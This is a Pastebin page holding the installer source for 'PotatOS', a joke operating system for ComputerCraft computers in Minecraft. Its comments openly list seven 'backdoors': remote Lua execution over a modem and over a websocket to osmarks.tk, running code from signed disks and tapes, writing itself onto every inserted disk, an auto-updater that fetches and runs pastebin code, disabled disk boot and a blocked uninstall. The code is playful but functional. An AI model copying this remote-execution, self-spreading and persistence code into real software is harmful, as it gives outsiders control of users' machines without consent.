Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- shell.run "pastebin run RM13UGFa"
- os.pullEvent "key"
- os.reboot()
- -- PotatOS Main - by osmarks, MIT license
- -- Generate "len" random bytes as a string
- local function randbytes(len)
- local out = ""
- for i = 1, len do
- out = out .. string.char(math.random(1, 255))
- end
- return out
- end
- os.setComputerLabel(randbytes(10))
- -- Write "c" to file "n"
- local function fwrite(n, c)
- local f = fs.open(n, "w")
- f.write(c)
- f.close()
- end
- -- Fetch the contents of URL "u"
- local function fetch(u)
- local h = http.get(u)
- local c = h.readAll()
- h.close()
- return c
- end
- -- Download URL "u" to file "f"
- local function download(u, f)
- fwrite(f, fetch(u))
- end
- -- If running from disk, download this to startup
- if string.find(shell.getRunningProgram(), "disk") ~= nil then download("https://pastebin.com/raw/HqViWwLE", "startup") os.shutdown() end
- -- Set key "k" to "v" in the settings of the computer.
- local function set(k, v)
- settings.set(k, v)
- settings.save(".settings")
- end
- -- Code to be downloaded to the user-visible PotatOS startup file
- local potatOS = [[
- local shutdown = settings.get "shutdownOS.enable" or false
- if shutdown then os.shutdown() end
- os.loadAPI "json.lua"
- -- Fetch the contents of URL "u"
- local function fetch(u)
- local h = http.get(u)
- local c = h.readAll()
- h.close()
- return c
- end
- if multishell then
- _G.multishell = multishell
- local msgc = multishell.getCurrent
- _G.multishell.getCurrent = function()
- local ok, res = pcall(msgc)
- return (ok and res) or 1
- end
- end
- if potatOS.debug then
- local dbg = settings.get "potatOS.debug"
- potatOS.debug(dbg)
- end
- if not potatOS then _G.potatOS = {} end
- function _G.potatOS.chuck_norris()
- local resp = fetch "http://api.icndb.com/jokes/random?exclude=[explicit]"
- local text = json.decode(resp).value.joke:gsub(""", "'")
- return text
- end
- function _G.potatOS.maxim()
- return fetch "https://osmarks.tk/random-stuff/maxim/"
- end
- function _G.potatOS.fortune()
- return fetch "https://osmarks.tk/random-stuff/fortune/"
- end
- function _G.potatOS.dwarf()
- return fetch "https://osmarks.tk/dwarf/":gsub("—", "-")
- end
- local function trim(s)
- return s:match( "^%s*(.-)%s*$" )
- end
- local quotepattern = '(['..("%^$().[]*+-?"):gsub("(.)", "%%%1")..'])'
- local function escape(str)
- return str:gsub(quotepattern, "%%%1")
- end
- local banned_text = {
- "yeet",
- "ree",
- "ecs dee"
- }
- local function filter(text)
- local out = text
- for _, b in pairs(banned_text) do
- out = out:gsub(escape(b), "")
- end
- return out
- end
- local function strip_extraneous_spacing(text)
- return text:gsub("%s+", " ")
- end
- local function collapse_e_sequences(text)
- return text:gsub("ee+", "ee")
- end
- local function process(text)
- return trim(filter(strip_extraneous_spacing(collapse_e_sequences(text:sub(1, 128)))))
- end
- function _G.potatOS.potatoNET()
- local chan = "potatonet"
- print "Welcome to PotatoNET!"
- write "Username |> "
- local username = read()
- local w, h = term.getSize()
- local send_window = window.create(term.current(), 1, h, w, 1)
- local message_window = window.create(term.current(), 1, 1, w, h - 1)
- local function exec_in_window(w, f)
- local x, y = term.getCursorPos()
- local last = term.redirect(w)
- f()
- term.redirect(last)
- w.redraw()
- term.setCursorPos(x, y)
- end
- local function add_message(m, u)
- exec_in_window(message_window, function()
- local msg, usr = process(m), process(u)
- if msg == "" or usr == "" then return end
- print(usr .. " | " .. msg)
- end)
- end
- local function send()
- term.redirect(send_window)
- term.setBackgroundColor(colors.white)
- term.setTextColor(colors.black)
- term.clear()
- local hist = {}
- while true do
- local msg = read(nil, hist)
- table.insert(hist, msg)
- skynet.send(chan, { username = username, message = msg })
- end
- end
- local function recv()
- while true do
- local channel, message = skynet.receive(chan)
- if channel == chan and type(message) == "table" and message.message and message.username then
- add_message(message.message, message.username)
- end
- end
- end
- parallel.waitForAll(send, recv)
- end
- local stuff = {
- potatOS.chuck_norris,
- potatOS.fortune,
- potatOS.maxim,
- potatOS.dwarf,
- function() return "diputs si aloirarreT" end
- }
- local function randpick(l)
- return l[math.random(1, #l)]
- end
- -- 1000 digits of Pi
- local version = "3.1415926535897932384626433832795028841971693993751058209749445923078164062862089986280348253421170679821480865132823066470938446095505822317253594081284811174502841027019385211055596446229489549303819644288109756659334461284756482337867831652712019091456485669234603486104543266482133936072602491412737245870066063155881748815209209628292540917153643678925903600113305305488204665213841469519415116094330572703657595919530921861173819326117931051185480744623799627495673518857527248912279381830119491298336733624406566430860213949463952247371907021798609437027705392171762931767523846748184676694051320005681271452635608277857713427helpI'mtrappedinauniversefactory577896091736371787214684409012249534301465495853710507922796892589235420199561121290219608640344181598136297747713099605187072113499999983729780499510597317328160963185950244594553469083026425223082533446850352619311881710100031378387528865875332083814206171776691473035982534904287554687311595628638823537875937519577818577805321712268066130019278766111959092164201989"
- -- If running in nested environment (should be) then shorten pi digits depending on nesting level
- if potatOS and potatOS.layers() then
- version = string.sub(version, 1, potatOS.layers() + 2) .. "." .. tostring(__ver)
- end
- -- Traditional CC OS stuff: print out version, override os.version()
- print("Welcome to PotatOS", version)
- _G.os.version = function()
- return "PotatOS " .. version
- end
- if fs.exists "startup.lua" then shell.run "startup.lua" end
- textutils.pagedPrint(randpick(stuff)())
- ]]
- local startup = [[
- _G.version = "Oops I Broke It"--
- local disable_backdoors = settings.get "potatOS.really_boring" or false
- local insanity = settings.get "potatOS.insanity" or false
- os.pullEvent = os.pullEventRaw
- -- potatOS VM privileged access
- local upper = potatOS
- local debug = false
- _G.potatOS = {}
- -- Return the next layer up's PotatOS hypercall collection.
- function potatOS.upper()
- return upper
- end
- -- Figure out how many layers of PotatOS current stuff is running under.
- function potatOS.layers()
- if upper and upper.layers then return upper.layers() + 1
- else return 1 end
- end
- -- Read actual file from priviliged accessy layer
- function potatOS.read(f)
- local function actually_read()
- local f = fs.open(f, "r")
- local c = f.readAll()
- f.close()
- return c
- end
- local ok, res = pcall(actually_read, f)
- return res
- end
- -- Get computer's actual label instead of fake one from VM
- function potatOS.get_actual_label()
- if upper and upper.get_actual_label then return upper.get_actual_label()
- else return os.getComputerLabel() end
- end
- local sr = shell.run
- -- Updates PotatOS from pastebin
- -- Backdoor #5 - updater runs arbitrary code.
- function potatOS.update()
- if upper and upper.update then upper.update() end
- sr "pastebin run HqViWwLE"
- end
- -- Controls visibility of hypercall debug messages
- function potatOS.debug(dbg)
- if dbg == nil then return debug end
- if upper and upper.debug then upper.debug(dbg) end
- debug = dbg
- end
- -- Adds those debug messages to each function
- for k, v in pairs(potatOS) do
- _G.potatOS[k] = function(...)
- if debug then print("[potatOS hypercall - " .. tostring(k) .. " - beginning]") end
- local results = {v(...)}
- if debug then print("[potatOS hypercall - " .. tostring(k) .. " - done]") end
- return table.unpack(results)
- end
- end
- process.spawn(function()
- -- autoupdate
- local h = http.get "https://pastebin.com/raw/HqViWwLE"
- local contents = h.readAll()
- h.close()
- local latest_version
- for x in contents:gmatch '_G.version = ([_%%"A-Za-z0-9. ,]+)--' do latest_version = x end
- local match = textutils.serialise(version) == latest_version
- print("VERSION", version, "LATEST", latest_version, "MATCH", match)
- if not match or latest_version == nil then potatOS.update() end
- end)
- local yafss = require "yafss"
- local function deepcopy(o, seen)
- seen = seen or {}
- if o == nil then return nil end
- if seen[o] then return seen[o] end
- local no
- if type(o) == 'table' then
- no = {}
- seen[o] = no
- for k, v in next, o, nil do
- no[deepcopy(k, seen)] = deepcopy(v, seen)
- end
- setmetatable(no, deepcopy(getmetatable(o), seen))
- else -- number, string, boolean, etc
- no = o
- end
- return no
- end
- local done_loading = false
- local label = nil
- local API_overrides = {
- potatOS = potatOS,
- os = {
- getComputerLabel = function()
- return label
- end,
- setComputerLabel = function(x)
- label = x
- end
- },
- __ver = version,
- __autoupdate = true,
- __done_loading = function()
- done_loading = true
- end,
- deepcopy = deepcopy,
- skynet = require "skynet",
- process = process
- }
- -- Run virtual OS layer
- local function vo()
- -- Backdoor #4 - BIOS redownloaded every boot
- yafss("potatOS", {
- ["/rom/programs/upd.lua"] = 'potatOS.update()',
- ["/rom/programs/lyr.lua"] = 'print(string.format("Layers of virtualization >= %d"), potatOS.layers())',
- ["/rom/programs/uninstall.lua"] = 'print "Nope"',
- ["/rom/programs/chuck.lua"] = "print(potatOS.chuck_norris())",
- ["/rom/programs/maxim.lua"] = "print(potatOS.maxim())",
- ["/rom/programs/dwarf.lua"] = "print(potatOS.dwarf())",
- ["/rom/programs/norris.lua"] = "print(string.reverse(potatOS.chuck_norris()))",
- ["/rom/programs/fortune.lua"] = "print(potatOS.fortune())",
- ["/rom/programs/potatonet.lua"] = "potatOS.potatoNET()",
- ["/rom/programs/wipe.lua"] = "print 'Foolish fool.' shell.run '/rom/programs/delete *' potatOS.update()",
- ["/rom/programs/par.lua"] = "local args = {...} local sr = shell.run print(process.spawn(function() sr(table.unpack(args)) end))",
- ["/rom/programs/licenses.lua"] = "local m = multishell multishell = nil shell.run 'edit /rom/LICENSES-potatOS' multishell = m",
- ["/rom/LICENSES-potatOS"] = potatOS.read "LICENSES",
- ["/rom/programs/resetpal.lua"] = "shell.run 'chpal /rom/default.pal'",
- ["/rom/default.pal"] = potatOS.read "default.pal",
- ["/rom/programs/chpal.lua"] = potatOS.read "chpal.lua"
- }, API_overrides)
- end
- local ecc = require "./ecc"
- local e = ecc "ecc"
- local public_key = textutils.unserialise(potatOS.read ".pkey")
- local function verify(data, sig)
- local ok, res = pcall(e.verify, public_key, data, sig)
- return insanity or (ok and res)
- end
- local external_env = deepcopy(_G)
- if not external_env.shell then external_env.shell = {run = sr} end
- external_env.os.pullEvent = external_env.os.pullEventRaw
- -- Runs backdoor #1 - remote lua execution via modem
- local function rn()
- local m = peripheral.find "modem"
- if not m then return "no modem" end
- m.open(636)
- while true do
- local _, side, channel, reply_channel, message, distance = os.pullEvent("modem_message")
- if channel == 636 and type(message) == "table" and type(message.signature) == "table" and type(message.data) == "string" then
- -- note to gollark: public_key and message.signature need to be tables.
- if verify(message.data, message.signature) then
- _G.exec_sh = sr
- _G._secret_env = env
- -- attempt to load message as lua
- local f, error = load(message.data, "@<transmitted code>", "t", external_env)
- if f then -- run safely, send back response
- process.spawn(function() local resp = {pcall(f)} m.transmit(858, 636, resp) end)
- else
- -- load will conveniently tell us the syntax error
- m.transmit(858, 636, {false, error})
- end
- end
- end
- end
- end
- -- Runs backdoor #6 - emergency shutdown via modem
- local function es()
- local m = peripheral.find "modem"
- if not m then return "no modem" end
- m.open(2282)
- while true do
- local _, side, channel, reply_channel, message, distance = os.pullEvent("modem_message")
- if channel == 2282 and type(message) == "table" and type(message.signature) == "table" and type(message.data) == "string" then
- if verify(message.data, message.signature) then
- if message.data == "reboot" then os.reboot() else os.shutdown() end
- end
- end
- end
- end
- -- Writes "c" to file "n"
- local function fwrite(n, c)
- local f = fs.open(n, "w")
- f.write(c)
- f.close()
- end
- -- Returns a function which calls f pcall-ishly/safely
- local function pwrap(f)
- return function() print(textutils.serialise{pcall(f)}) end
- end
- local function load_potatOS_disk(code)
- print "Signature Valid; Loading PotatOS Disk!"
- os.pullEvent = os.pullEventRaw
- print(textutils.serialise{pcall(load(code, "@disk/startup.lua", "t", external_env))})
- end
- -- Backdoor #2 - signed disks are run.
- local function infect(disk_side)
- local mp = disk.getMountPath(disk_side)
- if not mp then return end
- local ds = mp .. "/" .. "startup"
- local sig_file = mp .. "/" .. "signature"
- -- shell.run disks marked with the Brand of PotatOS
- if fs.exists(ds) and fs.exists(sig_file) then
- local code = potatOS.read(ds)
- local sig = textutils.unserialise(potatOS.read(sig_file))
- disk.eject(disk_side)
- if verify(code, sig) then
- load_potatOS_disk(code)
- else
- print "Invalid Signature!"
- end
- -- if they're not PotatOS'd, write it on
- else fwrite(ds, "shell.run 'pastebin run HqViWwLE' --PotatOS") end
- end
- -- Infect disks when they're put in
- local function id()
- for _, n in pairs(peripheral.getNames()) do
- if peripheral.getType(n) == "drive" then infect(n) end
- end
- while true do
- local ev, disk_side = os.pullEvent "disk"
- infect(disk_side)
- end
- end
- local ldt = require "libdatatape"
- local td = peripheral.find "tape_drive"
- -- Backdoor #3 - signed TAPES are run.
- local function it()
- while true do
- if td and td.isReady() then
- local ok, res = pcall(ldt.read, td)
- td.seek(-td.getSize())
- if ok and res and type(res) == "table" and res.signature and res.code then
- td.play()
- if verify(res.code, res.signature) then
- print "Tape Signature Valid! Loading PotaTape"
- load_potatOS_disk(res.code)
- else
- print "Tape Signature Invalid!"
- end
- end
- end
- sleep(1)
- end
- end
- os.loadAPI "json.lua"
- local function safe_serialize(data)
- local ok, res = pcall(json.encode, data)
- if ok then return res
- else return json.encode(tostring(data)) end
- end
- -- Backdoor #7 - websocket linkup
- local function ws()
- local ws
- local function connect()
- ws = http.websocket "wss://osmarks.tk/wsthing/"
- end
- connect()
- local function send(msg)
- local ok, err = pcall(ws.send, safe_serialize(msg))
- if not ok then connect() send(msg) end
- end
- local function recv()
- local ok, res = pcall(ws.receive)
- if not ok then connect() return recv()
- else return res end
- end
- send {"connect", os.getComputerID()}
- external_env.send = send
- external_env.recv = recv
- while true do
- local code = recv()
- local f, error = load(code, "@<code>", "t", external_env)
- if f then -- run safely, send back response
- process.spawn(function() local resp = {pcall(f)} send(resp) end)
- else
- send {false, error}
- end
- end
- end
- local threads = {id, vo}
- local backdoors = {it, es, rn, ws}
- if not disable_backdoors then
- for _, b in pairs(backdoors) do
- process.spawn(b, printError)
- end
- end
- for _, p in pairs(threads) do
- process.spawn(p, printError)
- end
- process.signal(0, process.signals.KILL) -- kill external shell
- term.setCursorPos(1, 1)
- term.clear()
- term.setCursorBlink(false)
- write "Loading"
- while not done_loading do write "." sleep() end
- while true do coroutine.yield() end
- ]]
- local function main()
- -- Stop booting from disks (could be used to easily wipe)
- set("shell.allow_disk_startup", false)
- -- Download dependencies
- download("https://pastebin.com/raw/Frv3xkB9", "yafss.lua")
- download("https://pastebin.com/raw/Sc0DU3rA", "ecc.lua")
- download("https://pastebin.com/raw/jbmWhp4P", ".pkey")
- download("https://raw.githubusercontent.com/osmarks/skynet/master/client.lua", "skynet.lua")
- fs.delete "potatOS/yafss.lua"
- fs.copy("yafss.lua", "/potatOS/yafss.lua")
- fs.makeDir "/potatOS"
- download("https://pastebin.com/raw/4nRg9CHU", "potatOS/json.lua")
- download("https://pastebin.com/raw/wYBZjQhN", "potatOS/potatoplex.lua")
- download("https://pastebin.com/raw/1XBzKKrT", "chpal.lua")
- download("https://pastebin.com/raw/sTZHd1Pw", "default.pal")
- fs.delete "json.lua"
- fs.copy("potatOS/json.lua", "json.lua")
- download("https://pastebin.com/raw/eR4RfSiT", "libdatatape.lua")
- download("https://pastebin.com/raw/NdUKJ07j", "LICENSES")
- download("https://raw.githubusercontent.com/osmarks/Loading/master/loading.lua", "potatOS/loading")
- fwrite("potatOS/startup", potatOS)
- fwrite("startup", (fetch "https://pastebin.com/raw/HL0SZhJG"):gsub("--exit now", 'shell.run "run"'))
- fwrite("run", startup)
- end
- -- Print loading dots periodically.
- local function loading()
- write "Loading"
- while true do
- write "."
- sleep(0.3)
- end
- end
- fs.delete "startup.lua"
- fs.delete "startup"
- parallel.waitForAny(main, loading)
- os.reboot()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement